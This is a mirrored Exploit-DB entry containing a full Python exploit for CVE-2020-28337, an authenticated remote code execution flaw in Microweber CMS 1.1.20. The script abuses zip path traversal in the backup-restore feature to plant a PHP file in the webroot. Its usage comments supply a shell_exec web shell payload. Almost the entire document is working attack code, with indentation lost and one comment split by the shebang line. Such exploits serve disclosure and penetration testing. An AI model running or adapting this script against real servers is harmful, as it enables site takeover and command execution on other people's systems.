Microweber CMS 1.1.20 – Remote Code Execution (Authenticated)

  • 作者: sl1nki
    日期: 2021-05-10
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/49856/
  • # Exploit Title: Microweber CMS 1.1.20 - Remote Code Execution (Authenticated) 
    # Date: 2020-10-31
    # Exploit Author: sl1nki
    # Vendor Homepage: https://microweber.org/
    # Software Link: https://github.com/microweber/microweber/tree/1.1.20
    # Version: <=1.1.20
    # Tested on: Ubuntu 18.04
    # CVE : CVE-2020-28337
    #
    # Example usage with default phpinfo() payload:
    # ./microweber_rce.py \
    # --hostname "http://microwebertest.com" \
    # --username "admin" \
    # --password "password123"
    #
    #
    # Example usage with custom payload (shell_exec):
    # ./microweber_rce.py \
    # --hostname "http://microwebertest.com" \
    # --username "admin" \
    # --password "password123" \
    # --payload '<?php if (isset($_REQUEST["fexec"])) {echo "<pre>" . shell_exec($_REQUEST["fexec"]) . "</pre>";} ?>'
    #
    # Notes:
    # * SSL verification is disabled by default
    # * If for some reason the --target-path "/userfiles/cache
    
    #!/usr/bin/python3
    
    #/" doesn't work, "/userfiles/modules/" is a good one too.
    #
    #
    #
    
    
    import argparse
    import re
    import requests
    import sys
    import zipfile
    
    from io import BytesIO
    
    # Disable insecure SSL warnings
    requests.packages.urllib3.disable_warnings()
    
    class Microweber():
    def __init__(self, baseUrl, proxies=None):
    self.baseUrl = baseUrl
    self.proxies = proxies
    self.cookies = None
    
    self.loginUrl = "/api/user_login"
    self.uploadUrl = "/plupload"
    self.moveZipToBackupUrl = "/api/Microweber/Utils/Backup/move_uploaded_file_to_backup"
    self.restoreBackupUrl = "/api/Microweber/Utils/Backup/restore"
    
    self.targetPath = "/userfiles/cache/"
    self.targetFilename = "payload.php"
    self.zipPayloadName = "payload.zip"
    
    def makePostRequest(self, url, data=None, files=None, headers=None):
    return requests.post(self.baseUrl + url,
    data=data,
    files=files,
    headers=headers,
    cookies=self.cookies,
    proxies=self.proxies,
    verify=False
    )
    
    def makeGetRequest(self, url, params=None):
    return requests.post(self.baseUrl + url,
    params=params,
    cookies=self.cookies,
    proxies=self.proxies,
    verify=False
    )
    
    def login(self, username, password):
    res = self.makePostRequest(self.loginUrl, data={
    "username": username,
    "password": password
    })
    
    if res.status_code == 200 and 'success' in res.json() and res.json()['success'] == "You are logged in!":
    print(f"[+] Successfully logged in as {username}")
    self.cookies = res.cookies
    else:
    print(f"[-] Unable to login.Status Code: {res.status_code}")
    sys.exit(-1)
    
    def createZip(self, path=None, filename=None, payload=None):
    # In-memory adaptation of ptoomey3's evilarc
    
    # https://github.com/ptoomey3/evilarc
    
    if payload == None:
    payload = "<?php phpinfo(); ?>"
    
    zd = BytesIO()
    zf = zipfile.ZipFile(zd, "w")
    
    # The custom Unzip class uses a path under the webroot for cached file extraction
    # /storage/cache/backup_restore/<md5 hash>/
    # so moving up 4 directories puts us at the webroot
    zf.writestr(f"../../../..{path}{filename}", payload)
    zf.close()
    return zd
    
    def uploadZip(self, zipData):
    # Upload the zip data as a general file
    
    res = self.makePostRequest(self.uploadUrl,
    headers={"Referer": ""},
    data={
    "name": self.zipPayloadName,
    "chunk": 0,
    "chunks": 1
    },
    files={"file": (self.zipPayloadName, zipData.getvalue(), "application/zip")}
    )
    
    if res.status_code == 200:
    print(f"[+] Successfully uploaded: {self.zipPayloadName}")
    j = res.json()
    print(f"[+] URL: {j['src']}")
    print(f"[+] Resulting Filename: {j['name']}")
    self.zipPayloadName = j['name']
    else:
    print(f"[-] Unable to upload: {self.zipPayloadName} (Status Code: {res.status_code})")
    sys.exit(-1)
    
    def getAbsoluteWebRoot(self):
    # Determine the webroot using the debug output and the DefaultController.php path
    res = self.makeGetRequest("", params={
    "debug": "true"
    })
    
    if res.status_code != 200:
    print(f"[-] Unable to collect debug information.Bad server response: {res.status_code}")
    sys.exit(-1)
    
    target = "src/Microweber/Controllers/DefaultController.php"
    m = re.findall('([\/\w]+)\/src\/Microweber\/Controllers\/DefaultController\.php', res.text)
    if len(m) == 1:
    return m[0]
    else:
    print(f"[-] Unable to determine the webroot using {target}.Found {len(m)} matches")
    
    def moveZipToBackup(self):
    # Move the uploaded zip file into the backup directory
    
    webRoot = self.getAbsoluteWebRoot()
    hostname = self.baseUrl.split("//")[1]
    
    src = f"{webRoot}/userfiles/media/{hostname}/{self.zipPayloadName}"
    res = self.makeGetRequest(self.moveZipToBackupUrl, params={
    "src": src
    })
    
    if res.status_code == 200 and 'success' in res.json() and res.json()['success'] == f"{self.zipPayloadName} was uploaded!":
    print(f"[+] Successfully moved {self.zipPayloadName} to backup")
    else:
    print(f"[-] Unable to move zip to backup ({res.status_code})")
    sys.exit(-1)
    
    def restoreBackup(self, filename):
    # With the zip file in the backup directory, 'restore' it, which will cause it to be extracted unsafely
    
    res = self.makePostRequest(self.restoreBackupUrl, data={
    
     "id": filename
    })
    
    if res.status_code == 200 and "Backup was restored!" in res.text:
    print(f"[+] Successfully restored backup {filename}")
    else:
    print(f"[-] Unable to restore backup {filename}")
    sys.exit(-1)
    
    def exploit(self, payload=None):
    zipData = m.createZip(self.targetPath, self.targetFilename, payload=payload)
    m.uploadZip(zipData)
    m.moveZipToBackup()
    m.restoreBackup(self.zipPayloadName)
    
    print(f"[+] Successfully uploaded payload to {self.targetFilename}!=")
    print(f"[+] Visit: {self.baseUrl}{self.targetPath}{self.targetFilename}")
    
    if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("--hostname", required=True, dest="hostname", help="Microweber hostname with protocol (e.g. http://microwebertest.com)")
    parser.add_argument("--http-proxy", required=False, dest="http_proxy", help="HTTP Proxy (e.g. http://127.0.0.1:8000)")
    parser.add_argument("--username", "-u", required=True, dest="username", help="Username of administrative user")
    parser.add_argument("--password", "-p", required=True, dest="password", help="Password of administrative user")
    parser.add_argument("--payload", required=False, dest="payload", help="Payload contents.Should be a string of PHP code.(default is phpinfo() )")
    
    # Uncommon args
    parser.add_argument("--target-file", required=False, dest="target_file", help="Target filename of the payload (default: payload.php")
    parser.add_argument("--target-path", required=False, dest="target_path", help="Target path relative to webroot for the payload (default: /userfiles/cache/")
    parser.add_argument("--zip-name", required=False, dest="zip_name", help="File name of tmp backup zip")
    args = parser.parse_args()
    
    proxies = None
    if args.http_proxy:
    proxies = {
    "http": args.http_proxy
    }
    
    m = Microweber(args.hostname, proxies=proxies)
    
    if args.target_file:
    m.targetFilename = args.target_file
    if args.target_path:
    m.targetPath = args.target_path
    
    if args.zip_name:
    m.zipPayloadName = args.zip_name
    
    m.login(args.username, args.password)
    m.exploit(args.payload)